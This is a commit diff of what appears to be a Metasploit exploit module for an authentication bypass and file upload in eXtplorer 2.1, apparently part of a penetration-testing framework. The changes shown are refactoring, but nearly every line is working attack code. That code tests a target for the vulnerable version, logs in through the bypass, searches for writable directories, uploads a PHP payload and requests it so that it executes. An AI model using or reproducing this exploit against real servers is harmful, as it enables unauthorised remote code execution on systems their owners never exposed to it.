@@ -30,16 +30,13 @@ def initialize(info={})
30
30
] ,
31
31
'References' =>
32
32
[
33
- [ 'URL' , 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability' ] ,
34
- [ 'URL' , 'http://extplorer.net/issues/105' ]
33
+ [ 'OSVDB' , '88751' ] ,
34
+ [ 'BID' , '57058' ] ,
35
+ [ 'URL' , 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability' ] ,
36
+ [ 'URL' , 'http://extplorer.net/issues/105' ]
35
37
] ,
36
38
'Payload' =>
37
39
{
38
- 'BadChars' => "\x00 "
39
- } ,
40
- 'DefaultOptions' =>
41
- {
42
- 'ExitFunction' => "none"
43
40
} ,
44
41
'Platform' => 'php' ,
45
42
'Arch' => ARCH_PHP ,
@@ -71,9 +68,18 @@ def check
71
68
'uri' => "#{ base } extplorer.xml"
72
69
} )
73
70
74
- return Exploit ::CheckCode ::Vulnerable if res and res . code == 200 and res . body =~ /<version>2\. 1\. (0RC5|0|1|2)<\/ version>/
75
- return Exploit ::CheckCode ::Detected if res and res . code == 200 and res . body =~ /eXtplorer/
76
- return Exploit ::CheckCode ::Safe
71
+ if !res or res . code != 200
72
+ return Exploit ::CheckCode ::Safe
73
+ end
74
+
75
+ if res . body =~ /<version>2\. 1\. 0RC[012]<\/ version>/
76
+ return Exploit ::CheckCode ::Vulnerable
77
+ end
78
+
79
+ if res . body =~ /eXtplorer/
80
+ return Exploit ::CheckCode ::Safe
81
+ end
82
+
77
83
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
78
84
print_error ( "#{ peer } - Connection failed" )
79
85
end
@@ -92,29 +98,22 @@ def on_new_session(client)
92
98
93
99
def upload ( base , dir , fname , file )
94
100
95
- boundary = "----WebKitFormBoundary#{ rand_text_alphanumeric ( 10 ) } "
96
- data_post = "--#{ boundary } \r \n "
97
- data_post << "Content-Disposition: form-data; name=\" userfile[0]\" ; filename=\" #{ fname } \" \r \n "
98
- data_post << "Content-Type: application/x-httpd-php\r \n "
99
- data_post << "\r \n #{ file } \r \n "
100
- data_post << "--#{ boundary } \r \n "
101
- data_post << "Content-Disposition: form-data; name=\" overwrite_files\" \r \n \r \n on\r \n "
102
- data_post << "--#{ boundary } \r \n "
103
- data_post << "Content-Disposition: form-data; name=\" dir\" \r \n \r \n %2f#{ dir } \r \n "
104
- data_post << "--#{ boundary } \r \n "
105
- data_post << "Content-Disposition: form-data; name=\" option\" \r \n \r \n com_extplorer\r \n "
106
- data_post << "--#{ boundary } \r \n "
107
- data_post << "Content-Disposition: form-data; name=\" action\" \r \n \r \n upload\r \n "
108
- data_post << "--#{ boundary } \r \n "
109
- data_post << "Content-Disposition: form-data; name=\" requestType\" \r \n \r \n xmlhttprequest\r \n "
110
- data_post << "--#{ boundary } \r \n "
111
- data_post << "Content-Disposition: form-data; name=\" confirm\" \r \n \r \n true\r \n "
112
- data_post << "--#{ boundary } \r \n "
101
+ data = Rex ::MIME ::Message . new
102
+ data . add_part ( file , 'application/x-httpd-php' , nil , "form-data; name=\" userfile[0]\" ; filename=\" #{ fname } \" " )
103
+ data . add_part ( "on" , nil , nil , "form-data; name=\" overwrite_files\" " )
104
+ data . add_part ( "%2f#{ dir } " , nil , nil , "form-data; name=\" dir\" " )
105
+ data . add_part ( "com_extplorer" , nil , nil , "form-data; name=\" option\" " )
106
+ data . add_part ( "upload" , nil , nil , "form-data; name=\" action\" " )
107
+ data . add_part ( "xmlhttprequest" , nil , nil , "form-data; name=\" requestType\" " )
108
+ data . add_part ( "true" , nil , nil , "form-data; name=\" confirm\" " )
109
+
110
+ data_post = data . to_s
111
+ data_post = data_post . gsub ( /^\r \n \- \- \_ Part\_ / , '--_Part_' )
113
112
114
113
res = send_request_cgi ( {
115
114
'method' => 'POST' ,
116
115
'uri' => "#{ base } index.php" ,
117
- 'ctype' => "multipart/form-data; boundary=#{ boundary } " ,
116
+ 'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
118
117
'data' => data_post ,
119
118
'cookie' => datastore [ 'COOKIE' ] ,
120
119
} )
@@ -149,8 +148,7 @@ def exploit
149
148
if res and res . code == 200 and res . body =~ /Are you sure you want to delete these/
150
149
print_status ( "#{ @peer } - Authenticated successfully" )
151
150
else
152
- print_error ( "#{ @peer } - Authentication failed" )
153
- return
151
+ fail_with ( Exploit ::Failure ::NoAccess , "#{ @peer } - Authentication failed" )
154
152
end
155
153
156
154
# search for writable directories
@@ -163,8 +161,7 @@ def exploit
163
161
'data' => "option=com_extplorer&action=getdircontents&dir=#{ base } &sendWhat=dirs&node=ext_root" ,
164
162
} )
165
163
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
166
- print_error ( "#{ @peer } - Connection failed" )
167
- return
164
+ fail_with ( Exploit ::Failure ::Unreachable , "#{ @peer } - Connection failed" )
168
165
end
169
166
if res and res . code == 200 and res . body =~ /\{ 'text':'([^']+)'[^\} ]+'is_writable':true/
170
167
dir = "#{ base } #{ $1} "
@@ -182,12 +179,10 @@ def exploit
182
179
if res and res . code == 200 and res . body =~ /'message':'Upload successful\! '/
183
180
print_good ( "#{ @peer } - File uploaded successfully" )
184
181
else
185
- print_error ( "#{ @peer } - Uploading PHP payload failed" )
186
- return
182
+ fail_with ( Exploit ::Failure ::UnexpectedReply , "#{ @peer } - Uploading PHP payload failed" )
187
183
end
188
184
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
189
- print_error ( "#{ @peer } - Connection failed" )
190
- return
185
+ fail_with ( Exploit ::Failure ::Unreachable , "#{ @peer } - Connection failed" )
191
186
end
192
187
193
188
# search directories in the web root for the file
@@ -200,8 +195,7 @@ def exploit
200
195
'cookie' => datastore [ 'COOKIE' ] ,
201
196
} )
202
197
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
203
- print_error ( "#{ @peer } - Connection failed" )
204
- return
198
+ fail_with ( Exploit ::Failure ::Unreachable , "#{ @peer } - Connection failed" )
205
199
end
206
200
if res and res . code == 200 and res . body =~ /'dir':'\\ \/ ([^']+)'/
207
201
dir = $1. gsub ( '\\' , '' )
@@ -218,8 +212,7 @@ def exploit
218
212
'uri' => "/#{ dir } /#{ @fname } "
219
213
} )
220
214
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
221
- print_error ( "#{ @peer } - Connection failed" )
222
- return
215
+ fail_with ( Exploit ::Failure ::Unreachable , "#{ @peer } - Connection failed" )
223
216
end
224
217
if res and res . code != 200
225
218
print_error ( "#{ @peer } - Executing payload failed" )
0 commit comments